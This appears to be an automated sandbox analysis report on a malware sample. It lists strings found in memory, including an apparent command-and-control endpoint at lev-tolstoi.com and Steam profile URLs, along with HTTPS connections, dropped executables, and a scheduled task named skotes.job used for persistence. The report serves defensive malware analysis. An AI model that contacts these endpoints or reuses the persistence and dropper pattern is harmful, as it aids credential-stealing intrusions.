Source: uLkHEqZ3u3.exe, 00000000.00000003.2269035374.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2435087029.000000000151B000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2198773271.00000000014D6000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2198607725.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2247879911.0000000005CD0000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2247373502.0000000005CCB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api
Source: uLkHEqZ3u3.exe, 00000000.00000003.2358880604.000000000152D000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2335487453.000000000152D000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2321778171.0000000001527000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2434973889.000000000152B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apiK
Source: uLkHEqZ3u3.exe, 00000000.00000003.2293336974.0000000005CD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apim
Source: uLkHEqZ3u3.exe, 00000000.00000003.2435087029.000000000151B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apis
Source: uLkHEqZ3u3.exe, 00000000.00000003.2321778171.0000000001527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/e
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198773271.00000000014D6000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2434973889.000000000152B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/pi
Source: uLkHEqZ3u3.exe, 00000000.00000003.2358880604.000000000152D000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2335487453.000000000152D000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2321778171.0000000001527000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2434973889.000000000152B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/sS
Source: uLkHEqZ3u3.exe, 00000000.00000003.2358880604.000000000152D000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2335487453.000000000152D000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2321778171.0000000001527000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/ts
Source: uLkHEqZ3u3.exe, 00000000.00000003.2434892374.0000000005CC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:
Source: uLkHEqZ3u3.exe, 00000000.00000003.2434973889.000000000152B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/api
Source: uLkHEqZ3u3.exe, 00000000.00000003.2335173878.0000000005CD1000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2293436074.0000000005CD0000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2434892374.0000000005CC8000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2269035374.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/apical
Source: uLkHEqZ3u3.exe, 00000000.00000003.2335173878.0000000005CD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com:443/apin.txtPK
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: https://mozilla.org0/
Source: chromecache_94.9.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: skotes.exe, 00000013.00000003.3336223535.0000000000B01000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000003.3336101515.0000000000B01000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000003.3336101515.0000000000AB7000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000003.3336101515.0000000000ABF000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000002.3383017404.0000000000B01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://remote-app-switcher.prod-east.frontend.public.atl-paas.net
Source: skotes.exe, 00000013.00000002.3383017404.0000000000B01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://remote-app-switcher.stg-east.frontend.public.a
Source: skotes.exe, 00000013.00000003.3336223535.0000000000B01000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000003.3336101515.0000000000B01000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000003.3336101515.0000000000AB7000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000003.3336101515.0000000000ABF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://remote-app-switcher.stg-east.frontend.public.atl-paas.net
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2198607725.000000000149D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2198607725.000000000149D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: KKKJEBAAECBGDHIECAKJKKECFH.5.dr	String found in binary or memory: https://support.mozilla.org
Source: KKKJEBAAECBGDHIECAKJKKECFH.5.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: uLkHEqZ3u3.exe, 00000000.00000003.2271067464.0000000005FC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: KKKJEBAAECBGDHIECAKJKKECFH.5.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: skotes.exe, 00000013.00000003.3336223535.0000000000B01000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000003.3336101515.0000000000B01000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000003.3336101515.0000000000AB7000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000003.3336101515.0000000000ABF000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000002.3383017404.0000000000B01000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://web-security-reports.services.atlassian.com/csp-report/bb-website
Source: uLkHEqZ3u3.exe, 00000000.00000003.2293336974.0000000005CD8000.00000004.00000800.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3078434365.000000000BD42000.00000004.00000020.00020000.00000000.sdmp, AKJEGCFBGDHJJJJJKJEC.5.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: nss3.dll.5.dr, nss3[1].dll.5.dr, softokn3.dll.5.dr, softokn3[1].dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, freebl3[1].dll.5.dr, mozglue[1].dll.5.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: uLkHEqZ3u3.exe, 00000000.00000003.2222672481.0000000005DA1000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2222769320.0000000005D0F000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2222878976.0000000005D0F000.00000004.00000800.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000003.2697791937.000000000159B000.00000004.00000020.00020000.00000000.sdmp, HJEBGHIE.5.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: uLkHEqZ3u3.exe, 00000000.00000003.2222672481.0000000005DA1000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2222769320.0000000005D0F000.00000004.00000800.00020000.00000000.sdmp, uLkHEqZ3u3.exe, 00000000.00000003.2222878976.0000000005D0F000.00000004.00000800.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000003.2697791937.000000000159B000.00000004.00000020.00020000.00000000.sdmp, HJEBGHIE.5.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_94.9.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_94.9.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_94.9.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: uLkHEqZ3u3.exe, 00000000.00000003.2270986319.0000000005CE5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.or
Source: uLkHEqZ3u3.exe, 00000000.00000003.2270986319.0000000005CE5000.00000004.00000800.00020000.00000000.sdmp, KKKJEBAAECBGDHIECAKJKKECFH.5.dr	String found in binary or memory: https://www.mozilla.org
Source: KKKJEBAAECBGDHIECAKJKKECFH.5.dr	String found in binary or memory: https://www.mozilla.org#
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3066735330.00000000009B4000.00000040.00000001.01000000.00000009.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3066735330.0000000000A97000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3066735330.0000000000A97000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/about/DAEBGDGCFIID
Source: KKKJEBAAECBGDHIECAKJKKECFH.5.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3066735330.00000000009B4000.00000040.00000001.01000000.00000009.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3066735330.0000000000A97000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3066735330.0000000000A97000.00000040.00000001.01000000.00000009.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/W1sYnpxLnB3ZA==
Source: KKKJEBAAECBGDHIECAKJKKECFH.5.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: KKKJEBAAECBGDHIECAKJKKECFH.5.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: uLkHEqZ3u3.exe, 00000000.00000003.2293336974.0000000005CD8000.00000004.00000800.00020000.00000000.sdmp, NTJ5FCNZGEJS945U0MUPLHRT.exe, 00000005.00000002.3078434365.000000000BD42000.00000004.00000020.00020000.00000000.sdmp, AKJEGCFBGDHJJJJJKJEC.5.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: uLkHEqZ3u3.exe, 00000000.00000003.2198582898.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.6:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.6:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49809 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49879 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49909 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49929 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49975 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.198.119.84:443 -> 192.168.2.6:49977 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.166.143.48:443 -> 192.168.2.6:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 16.182.37.145:443 -> 192.168.2.6:50016 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: uLkHEqZ3u3.exe	Static PE information: section name:
Source: uLkHEqZ3u3.exe	Static PE information: section name: .idata
Source: uLkHEqZ3u3.exe	Static PE information: section name:
Source: DZKPIL2C5DR0YB6M.exe.0.dr	Static PE information: section name:
Source: DZKPIL2C5DR0YB6M.exe.0.dr	Static PE information: section name: .idata
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe.0.dr	Static PE information: section name:
Source: NTJ5FCNZGEJS945U0MUPLHRT.exe.0.dr	Static PE information: section name: .idata
Source: CGIJECFIEC.exe.5.dr	Static PE information: section name:
Source: CGIJECFIEC.exe.5.dr	Static PE information: section name: .idata
Source: random[1].exe.5.dr	Static PE information: section name:
Source: random[1].exe.5.dr	Static PE information: section name: .idata
Source: skotes.exe.16.dr	Static PE information: section name:
Source: skotes.exe.16.dr	Static PE information: section name: .idata

Source: C:\Users\user\Documents\CGIJECFIEC.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Code function: 0_3_014BC9C1	0_3_014BC9C1
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Code function: 0_3_0150FE22	0_3_0150FE22
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Code function: 0_3_0150FE22	0_3_0150FE22
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Code function: 0_3_0150FE22	0_3_0150FE22
Source: C:\Users\user\Desktop\uLkHEqZ3u3.exe	Code function: 0_3_0150FE22	0_3_0150FE22
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Code function: 3_2_00BEA221	3_2_00BEA221
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Code function: 3_2_00BEA25B	3_2_00BEA25B
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Code function: 3_2_00BEA24B	3_2_00BEA24B
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Code function: 3_2_00A6D9C5	3_2_00A6D9C5
Source: C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe	Code function: 3_2_00BFF9C5	3_2_00BFF9C5
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C98ECD0	5_2_6C98ECD0
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C92ECC0	5_2_6C92ECC0
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6CA0AC30	5_2_6CA0AC30
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C9F6C00	5_2_6C9F6C00
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C93AC60	5_2_6C93AC60
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C9C6D90	5_2_6C9C6D90
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C934DB0	5_2_6C934DB0
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6CABCDC0	5_2_6CABCDC0
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6CAB8D20	5_2_6CAB8D20
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C9FED70	5_2_6C9FED70
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6CA5AD50	5_2_6CA5AD50
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C9B6E90	5_2_6C9B6E90
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C93AEC0	5_2_6C93AEC0
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C9D0EC0	5_2_6C9D0EC0
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6CA10E20	5_2_6CA10E20
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C9CEE70	5_2_6C9CEE70
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6CA78FB0	5_2_6CA78FB0
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C93EFB0	5_2_6C93EFB0
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6CA0EFF0	5_2_6CA0EFF0
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C930FE0	5_2_6C930FE0
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C936F10	5_2_6C936F10
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6CA70F20	5_2_6CA70F20
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C99EF40	5_2_6C99EF40
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C9F2F70	5_2_6C9F2F70
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6CA368E0	5_2_6CA368E0
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C980820	5_2_6C980820
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C9BA820	5_2_6C9BA820
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6CA04840	5_2_6CA04840
Source: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe	Code function: 5_2_6C9F09B0	5_2_6C9F09B0
